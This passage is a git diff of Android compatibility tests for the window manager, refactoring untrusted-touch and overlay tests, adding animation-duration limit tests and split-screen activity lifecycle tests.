-import android.content.ServiceConnection;
-import android.graphics.PixelFormat;
+import android.content.res.Resources;
 import android.graphics.Rect;
 import android.hardware.input.InputManager;
 import android.os.Bundle;
 import android.os.ConditionVariable;
 import android.os.Handler;
-import android.os.IBinder;
 import android.os.Looper;
-import android.os.Message;
-import android.os.Messenger;
+import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
-import android.server.wm.cts.R;
+import android.server.wm.app.IUntrustedTouchTestService;
 import android.server.wm.overlay.Components;
+import android.server.wm.overlay.R;
 import android.util.ArrayMap;
 import android.util.ArraySet;
-import android.util.Log;
 import android.view.Display;
 import android.view.Gravity;
 import android.view.MotionEvent;
 import android.view.View;
-import android.view.Window;
 import android.view.WindowManager;
 import android.view.WindowManager.LayoutParams;
 import android.widget.Toast;
@@ -84,8 +76,6 @@
 
 import java.util.Map;
 import java.util.Set;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
 
 @Presubmit
@@ -108,8 +98,10 @@
             Float.intBitsToFloat(0b00111000100000000000000000000000);
 
     private static final float MAXIMUM_OBSCURING_OPACITY = .8f;
-    private static final long TOUCH_TIME_OUT_MS = 1000L;
-    private static final long PROCESS_RESPONSE_TIME_OUT_MS = 1000L;
+    private static final long BIND_TIMEOUT_MS = 1000L;
+    private static final long MAX_ANIMATION_DURATION_MS = 3000L;
+    private static final long ANIMATION_DURATION_TOLERANCE_MS = 500L;
+
     private static final int OVERLAY_COLOR = 0xFFFF0000;
     private static final int ACTIVITY_COLOR = 0xFFFFFFFF;
 
@@ -132,9 +124,11 @@
             "maximum_obscuring_opacity_for_touch";
 
     private final WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
-    private final Map<String, FutureConnection> mConnections = new ArrayMap<>();
+    private final Map<String, FutureConnection<IUntrustedTouchTestService>> mConnections =
+            new ArrayMap<>();
     private Instrumentation mInstrumentation;
     private Context mContext;
+    private Resources mResources;
     private ContentResolver mContentResolver;
     private TouchHelper mTouchHelper;
     private Handler mMainHandler;
@@ -150,9 +144,6 @@
     private final Set<String> mSawWindowsAdded = new ArraySet<>();
     private final AtomicInteger mTouchesReceived = new AtomicInteger(0);
 
-    /** Can only be accessed from the main thread */
-    private final Set<View> mSawViewsAdded = new ArraySet<>();
-
     @Rule
     public TestName testNameRule = new TestName();
 
@@ -166,6 +157,7 @@
         mContainer.setOnTouchListener(this::onTouchEvent);
         mInstrumentation = getInstrumentation();
         mContext = mInstrumentation.getContext();
+        mResources = mContext.getResources();
         mContentResolver = mContext.getContentResolver();
         mTouchHelper = new TouchHelper(mInstrumentation, mWmState);
         mMainHandler = new Handler(Looper.getMainLooper());
@@ -186,10 +178,11 @@
     public void tearDown() throws Throwable {
         mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY);
         mTouchesReceived.set(0);
-        for (FutureConnection connection : mConnections.values()) {
+        removeOverlays();
+        for (FutureConnection<IUntrustedTouchTestService> connection : mConnections.values()) {
             mContext.unbindService(connection);
         }
-        removeOverlays();
+        mConnections.clear();
         for (String app : APPS) {
             stopPackage(app);
         }
@@ -578,9 +571,40 @@
     /** Activity transitions */
 
     @Test
+    public void testLongEnterAnimations_areLimited() {
+        long durationSet = mResources.getInteger(R.integer.long_animation_duration);
+        assertThat(durationSet).isGreaterThan(
+                MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+        addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.long_alpha_0_7,
+                R.anim.long_alpha_1);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+        long start = SystemClock.elapsedRealtime();
+
+        assertTrue(mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY));
+        long duration = SystemClock.elapsedRealtime() - start;
+        assertThat(duration).isAtMost(MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+    }
+
+    @Test
+    public void testLongExitAnimations_areLimited() {
+        long durationSet = mResources.getInteger(R.integer.long_animation_duration);
+        assertThat(durationSet).isGreaterThan(
+                MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+        // Translucent activities don't honor custom exit animations
+        addOpaqueActivity(APP_A);
+        sendFinishToActivity(APP_A, Components.ActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+        long start = SystemClock.elapsedRealtime();
+
+        assertTrue(mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY));
+        long duration = SystemClock.elapsedRealtime() - start;
+        assertThat(duration).isAtMost(MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+    }
+
+    @Test
     public void testWhenEnterAnimationAboveThresholdAndNewActivityNotTouchable_blocksTouch() {
         addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.alpha_0_9, R.anim.alpha_1);
-        mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
 
         mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
 
@@ -591,7 +615,7 @@
     @Test
     public void testWhenEnterAnimationBelowThresholdAndNewActivityNotTouchable_allowsTouch() {
         addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.alpha_0_7, R.anim.alpha_1);
-        mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
 
         mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
 
@@ -602,7 +626,7 @@
     @Test
     public void testWhenEnterAnimationBelowThresholdAndNewActivityTouchable_blocksTouch() {
         addAnimatedActivityOverlay(APP_A, /* touchable */ true, R.anim.alpha_0_7, R.anim.alpha_1);
-        mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
 
         mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
 
@@ -636,6 +660,19 @@
         assertTouchNotReceived();
     }
 
+    @Test
+    public void testWhenExitAnimationAboveThresholdFromSameUid_allowsTouch() {
+        // Translucent activities don't honor custom exit animations
+        addOpaqueActivity(APP_SELF);
+        sendFinishToActivity(APP_SELF, Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_0_9);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchReceived();
+    }
+
     /** Toast windows */
 
     @Test
@@ -750,18 +787,20 @@
         // *any* toast afterwards and we don't want to be in a situation where this method returned
         // because another toast was being displayed.
         waitForNoToastOverlays();
-        if (packageName.equals(APP_SELF)) {
-            addMyToastOverlay(custom);
-        } else {
-            if (custom) {
+        if (custom) {
+            if (packageName.equals(APP_SELF)) {
+                // We add the custom toast here because we already have foreground status due to
+                // the activity rule, so no need to start another activity.
+                addMyCustomToastOverlay();
+            } else {
                 // We have to use an activity that will display the toast then finish itself because
                 // custom toasts cannot be posted from the background.
                 Intent intent = new Intent();
                 intent.setComponent(repackage(packageName, Components.ToastActivity.COMPONENT));
                 mActivity.startActivity(intent);
-            } else {
-                sendMessage(packageName, Components.TestCompanionService.ACTION_SHOW_TOAST);
             }
+        } else {
+            getService(packageName).showToast();
         }
         String message = "Toast from app " + packageName + " did not appear on time";
         // TODO: WindowStateProto does not have package/UID information from the window, the current
@@ -777,26 +816,20 @@
                 && state.findFirstWindowWithType(LayoutParams.TYPE_TOAST).isSurfaceShown();
     }
 
-    private void addMyToastOverlay(boolean custom) {
+    private void addMyCustomToastOverlay() {
         mActivity.runOnUiThread(() -> {
-            if (custom) {
-                mToast = new Toast(mContext);
-                View view = new View(mContext);
-                view.setBackgroundColor(OVERLAY_COLOR);
-                mToast.setView(view);
-                mToast.setGravity(Gravity.FILL, 0, 0);
-                mToast.setDuration(Toast.LENGTH_LONG);
-            } else {
-                String test =
-                        getClass().getSimpleName() + "." + testNameRule.getMethodName() + "()";
-                mToast = Toast.makeText(mContext, "Toast from " + test, Toast.LENGTH_LONG);
-            }
+            mToast = new Toast(mContext);
+            View view = new View(mContext);
+            view.setBackgroundColor(OVERLAY_COLOR);
+            mToast.setView(view);
+            mToast.setGravity(Gravity.FILL, 0, 0);
+            mToast.setDuration(Toast.LENGTH_LONG);
             mToast.show();
         });
         mInstrumentation.waitForIdleSync();
     }
 
-    private void removeMyToastOverlay() {
+    private void removeMyCustomToastOverlay() {
         mActivity.runOnUiThread(() -> {
             if (mToast != null) {
                 mToast.cancel();
@@ -846,9 +879,7 @@
 
     private void addActivityOverlay(String packageName, float opacity, boolean touchable,
             @Nullable Bundle options) {
-        ComponentName component = (packageName.equals(APP_SELF))
-                ? new ComponentName(mContext, OverlayActivity.class)
-                : repackage(packageName, Components.OverlayActivity.COMPONENT);
+        ComponentName component = repackage(packageName, Components.OverlayActivity.COMPONENT);
         Bundle extras = new Bundle();
         extras.putFloat(Components.OverlayActivity.EXTRA_OPACITY, opacity);
         extras.putBoolean(Components.OverlayActivity.EXTRA_TOUCHABLE, touchable);
@@ -895,14 +926,7 @@
     private void addSawOverlay(String packageName, String windowSuffix, float opacity)
             throws Throwable {
         String name = packageName + "." + windowSuffix;
-        if (packageName.equals(APP_SELF)) {
-            addMySawOverlay(name, opacity);
-        } else {
-            Bundle data = new Bundle();
-            data.putString(EXTRA_NAME, name);
-            data.putFloat(EXTRA_OPACITY, opacity);
-            sendMessage(packageName, ACTION_SHOW_SYSTEM_ALERT_WINDOW, data);
-        }
+        getService(packageName).showSystemAlertWindow(name, opacity);
         mSawWindowsAdded.add(name);
         String message = "Window " + name + " did not appear on time";
         if (!mWmState.waitFor("window " + name,
@@ -911,35 +935,6 @@
         }
     }
 
-    private void addMySawOverlay(String name, float opacity) throws Throwable {
-        activityRule.runOnUiThread(() -> {
-            View view = new View(mContext);
-            view.setBackgroundColor(OVERLAY_COLOR);
-            LayoutParams params =
-                    new LayoutParams(
-                            LayoutParams.MATCH_PARENT,
-                            LayoutParams.MATCH_PARENT,
-                            LayoutParams.TYPE_APPLICATION_OVERLAY,
-                            LayoutParams.FLAG_NOT_TOUCHABLE | LayoutParams.FLAG_NOT_FOCUSABLE,
-                            PixelFormat.TRANSLUCENT);
-            params.setTitle(name);
-            params.alpha = opacity;
-            mWindowManager.addView(view, params);
-            mSawViewsAdded.add(view);
-        });
-        mInstrumentation.waitForIdleSync();
-    }
-
-    private void removeMySawOverlays() throws Throwable {
-        activityRule.runOnUiThread(() -> {
-            for (View view : mSawViewsAdded) {
-                mWindowManager.removeViewImmediate(view);
-            }
-            mSawViewsAdded.clear();
-        });
-        mInstrumentation.waitForIdleSync();
-    }
-
     private void waitForNoSawOverlays(String message) {
         if (!mWmState.waitFor("no SAW windows",
                 state -> mSawWindowsAdded.stream().allMatch(w -> !state.isWindowVisible(w)))) {
@@ -949,14 +944,18 @@
     }
 
     private void removeOverlays() throws Throwable {
+        for (FutureConnection<IUntrustedTouchTestService> connection : mConnections.values()) {
+            connection.getCurrent().removeOverlays();
+        }
+        // We need to stop the app because not every overlay is created via the service (eg.
+        // activity overlays and custom toasts)
         for (String app : APPS) {
             stopPackage(app);
         }
-        removeMySawOverlays();
         waitForNoSawOverlays("SAWs not removed on time");
         removeActivityOverlays();
         waitForNoActivityOverlays("Activities not removed on time");
-        removeMyToastOverlay();
+        removeMyCustomToastOverlay();
         waitForNoToastOverlays("Toasts not removed on time");
     }
 
@@ -981,30 +980,23 @@
         });
     }
 
-    private ComponentName repackage(String packageName, ComponentName baseComponent) {
-        return new ComponentName(packageName, baseComponent.getClassName());
+    private IUntrustedTouchTestService getService(String packageName) throws Exception {
+        return mConnections.computeIfAbsent(packageName, this::connect).get(BIND_TIMEOUT_MS);
     }
 
-    private void sendMessage(String packageName, int action) throws Exception {
-        sendMessage(packageName, action, /* data */ null);
-    }
-
-    private void sendMessage(String packageName, int action, Bundle data) throws Exception {
-        Message message = Message.obtain(null, action);
-        message.setData(data);
-        FutureConnection connection = mConnections.computeIfAbsent(packageName, this::connect);
-        Messenger messenger = new Messenger(connection.get(PROCESS_RESPONSE_TIME_OUT_MS));
-        messenger.send(message);
-    }
-
-    private FutureConnection connect(String packageName) {
-        FutureConnection connection = new FutureConnection();
+    private FutureConnection<IUntrustedTouchTestService> connect(String packageName) {
+        FutureConnection<IUntrustedTouchTestService> connection =
+                new FutureConnection<>(IUntrustedTouchTestService.Stub::asInterface);
         Intent intent = new Intent();
-        intent.setComponent(repackage(packageName, Components.TestCompanionService.COMPONENT));
+        intent.setComponent(repackage(packageName, Components.UntrustedTouchTestService.COMPONENT));
         assertTrue(mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE));
         return connection;
     }
 
+    private static ComponentName repackage(String packageName, ComponentName baseComponent) {
+        return new ComponentName(packageName, baseComponent.getClassName());
+    }
+
     public static class TestActivity extends Activity {
         public View view;
 
@@ -1016,44 +1008,4 @@
             setContentView(view);
         }
     }
-
-    public static class OverlayActivity extends Activity {
-        @Override
-        protected void onCreate(@Nullable Bundle savedInstanceState) {
-            super.onCreate(savedInstanceState);
-            View view = new View(this);
-            view.setBackgroundColor(OVERLAY_COLOR);
-            setContentView(view);
-            Window window = getWindow();
-            Intent intent = getIntent();
-            window.getAttributes().alpha = intent.getFloatExtra(
-                    Components.OverlayActivity.EXTRA_OPACITY, 1f);
-            if (!intent.getBooleanExtra(Components.OverlayActivity.EXTRA_TOUCHABLE, false)) {
-                window.addFlags(LayoutParams.FLAG_NOT_TOUCHABLE);
-            }
-            window.addFlags(LayoutParams.FLAG_NOT_FOCUSABLE);
-        }
-    }
-
-    private static class FutureConnection implements ServiceConnection {
-        public final CompletableFuture<IBinder> future = new CompletableFuture<>();
-
-        public IBinder get(long timeoutMs) throws Exception {
-            return future.get(timeoutMs, TimeUnit.MILLISECONDS);
-        }
-
-        @Override
-        public void onServiceConnected(ComponentName name, IBinder service) {
-            if (future.isDone()) {
-                Log.d(TAG, name.flattenToShortString() + " reconnected");
-            }
-            future.obtrudeValue(service);
-        }
-
-        @Override
-        public void onServiceDisconnected(ComponentName name) {
-            // The helper app died, windows will be removed and assertions will fail, so just log.
-            Log.e(TAG, name.flattenToShortString() + " disconnected");
-        }
-    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index f16da51..1e58f30 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -17,6 +17,7 @@
 package android.server.wm.lifecycle;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.content.Intent.FLAG_ACTIVITY_FORWARD_RESULT;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.StateLogger.log;
@@ -34,6 +35,7 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_USER_LEAVE_HINT;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -70,6 +72,7 @@
 
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 import java.util.function.Consumer;
 
@@ -90,6 +93,7 @@
     static final String EXTRA_FINISH_IN_ON_STOP = "finish_in_on_stop";
     static final String EXTRA_START_ACTIVITY_IN_ON_CREATE = "start_activity_in_on_create";
     static final String EXTRA_START_ACTIVITY_WHEN_IDLE = "start_activity_when_idle";
+    static final String EXTRA_ACTIVITY_ON_USER_LEAVE_HINT = "activity_on_user_leave_hint";
 
     static final ComponentName CALLBACK_TRACKING_ACTIVITY =
             getComponentName(CallbackTrackingActivity.class);
@@ -248,8 +252,10 @@
      * time.
      * @return The launched Activity instance.
      */
-    Activity launchActivityAndWait(Class<? extends Activity> activityClass) throws Exception {
-        return new Launcher(activityClass).launch();
+    @SuppressWarnings("unchecked")
+    <T extends Activity> T launchActivityAndWait(Class<? extends Activity> activityClass)
+            throws Exception {
+        return (T) new Launcher(activityClass).launch();
     }
 
     /**
@@ -413,6 +419,15 @@
             super.onRestart();
             mLifecycleLogClient.onActivityCallback(ON_RESTART);
         }
+
+        @Override
+        protected void onUserLeaveHint() {
+            super.onUserLeaveHint();
+
+            if (getIntent().getBooleanExtra(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT, false)) {
+                mLifecycleLogClient.onActivityCallback(ON_USER_LEAVE_HINT);
+            }
+        }
     }
 
     // Test activity
@@ -488,6 +503,29 @@
     }
 
     /**
+     * Test activity that launches {@link TrampolineActivity} for result.
+     */
+    public static class LaunchForwardResultActivity extends CallbackTrackingActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            final Intent intent = new Intent(this, TrampolineActivity.class);
+            startActivityForResult(intent, 1 /* requestCode */);
+        }
+    }
+
+    public static class TrampolineActivity extends CallbackTrackingActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            final Intent intent = new Intent(this, ResultActivity.class);
+            intent.setFlags(FLAG_ACTIVITY_FORWARD_RESULT);
+            startActivity(intent);
+            finish();
+        }
+    }
+
+    /**
      * Test activity that launches {@link ResultActivity} for result.
      */
     public static class LaunchForResultActivity extends CallbackTrackingActivity {
@@ -610,9 +648,13 @@
 
             // Enter picture in picture with the given aspect ratio if provided
             if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
-                enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+                enterPip();
             }
         }
+
+        void enterPip() {
+            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        }
     }
 
     public static class AlwaysFocusablePipActivity extends CallbackTrackingActivity {
@@ -701,11 +743,30 @@
     void moveTaskToPrimarySplitScreenAndVerify(Activity activity) {
         getLifecycleLog().clear();
 
-        moveTaskToPrimarySplitScreen(activity.getTaskId());
+        moveTaskToPrimarySplitScreen(activity.getTaskId(), true /* showSideActivity */);
 
         final Class<? extends Activity> activityClass = activity.getClass();
-        waitAndAssertActivityTransitions(activityClass,
-                LifecycleVerifier.getSplitScreenTransitionSequence(activityClass),
+
+        final List<LifecycleLog.ActivityCallback> expectedTransitions =
+                new ArrayList<LifecycleLog.ActivityCallback>(
+                        LifecycleVerifier.getSplitScreenTransitionSequence(activityClass));
+        final List<LifecycleLog.ActivityCallback> expectedTransitionForMinimizedDock =
+                LifecycleVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
+
+        final int displayWindowingMode =
+                getDisplayWindowingModeByActivity(getComponentName(activityClass));
+        if (displayWindowingMode != WINDOWING_MODE_FULLSCREEN) {
+            // For non-fullscreen display mode, there won't be a multi-window callback.
+            expectedTransitions.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+            expectedTransitionForMinimizedDock.removeAll(
+                    Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+        }
+
+        mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+        LifecycleVerifier.assertSequenceMatchesOneOf(
+                activityClass,
+                getLifecycleLog(),
+                Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
                 "enterSplitScreen");
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index 9fbd1da..0062dac 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -98,10 +98,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Leaving the minimized dock, the stack state on the primary split screen should change
-        // from Paused to Resumed.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Show and hide lock screen
         getLifecycleLog().clear();
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
new file mode 100644
index 0000000..f0bd3f8
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
@@ -0,0 +1,364 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.lifecycle;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_POST_CREATE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESTART;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_START;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.filters.MediumTest;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:ActivityLifecycleSplitScreenTests
+ */
+@MediumTest
+@Presubmit
+@android.server.wm.annotation.Group3
+public class ActivityLifecycleLegacySplitScreenTests extends ActivityLifecycleClientTestBase {
+
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        assumeTrue(supportsSplitScreenMultiWindow());
+        // TODO(b/149338177): Fix test to pass with organizer API.
+        mUseTaskOrganizer = false;
+    }
+
+    @Test
+    public void testResumedWhenRecreatedFromInNonFocusedStack() throws Exception {
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Launch second activity to stop first
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+
+        // Wait for the first activity to stop, so that this event is not included in the logs.
+        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(secondActivity);
+
+        // CLear logs so we can capture just the destroy sequence
+        getLifecycleLog().clear();
+
+        // Start an activity in separate task (will be placed in secondary stack)
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
+                .launch();
+
+        // Finish top activity
+        secondActivity.finish();
+
+        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY),
+                state(firstActivity, ON_RESUME));
+
+        // Verify that the first activity was recreated to resume as it was created before
+        // windowing mode was switched
+        LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
+
+        // Verify that the lifecycle state did not change for activity in non-focused stack
+        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
+    }
+
+    @Test
+    public void testOccludingOnSplitSecondaryStack() throws Exception {
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+
+        final ComponentName firstActivityName = getComponentName(FirstActivity.class);
+        mWmState.computeState(firstActivityName);
+        int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
+
+        // Launch second activity to side
+        getLifecycleLog().clear();
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        // Launch third activity on top of second
+        getLifecycleLog().clear();
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(secondActivity, ON_STOP));
+    }
+
+    @Test
+    public void testTranslucentOnSplitSecondaryStack() throws Exception {
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+
+        final ComponentName firstActivityName = getComponentName(FirstActivity.class);
+        mWmState.computeState(firstActivityName);
+        int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
+
+        // Launch second activity to side
+        getLifecycleLog().clear();
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        // Launch translucent activity on top of second
+        getLifecycleLog().clear();
+
+        new Launcher(TranslucentActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
+    }
+
+    @Test
+    @Ignore // TODO(b/142345211): Skipping until the issue is fixed, or it will impact other tests.
+    public void testResultInNonFocusedStack() throws Exception {
+        // Launch first activity
+        final Activity callbackTrackingActivity =
+                launchActivityAndWait(CallbackTrackingActivity.class);
+
+        // Enter split screen, the activity will be relaunched.
+        // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
+        moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
+            true/* showSideActivity */);
+        getLifecycleLog().clear();
+
+        // Launch second activity
+        // Create an ActivityMonitor that catch ChildActivity and return mock ActivityResult:
+        Instrumentation.ActivityMonitor activityMonitor = getInstrumentation()
+                .addMonitor(SecondActivity.class.getName(), null /* activityResult */,
+                        false /* block */);
+
+        callbackTrackingActivity.startActivityForResult(
+                new Intent(callbackTrackingActivity, SecondActivity.class), 1 /* requestCode */);
+
+        // Wait for the ActivityMonitor to be hit
+        final Activity secondActivity = getInstrumentation()
+                .waitForMonitorWithTimeout(activityMonitor, 5 * 1000);
+
+        // Wait for second activity to resume
+        assertNotNull("Second activity should be started", secondActivity);
+        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
+
+        // Verify if the first activity stopped (since it is not currently visible)
+        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
+
+        // Start an activity in separate task (will be placed in secondary stack)
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        // Finish top activity and verify that activity below became focused.
+        getLifecycleLog().clear();
+        secondActivity.setResult(Activity.RESULT_OK);
+        secondActivity.finish();
+
+        // Check that activity was resumed and result was delivered
+        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
+        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+                Arrays.asList(ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME), "resume");
+    }
+
+    @Test
+    public void testResumedWhenRestartedFromInNonFocusedStack() throws Exception {
+        // Launch first activity
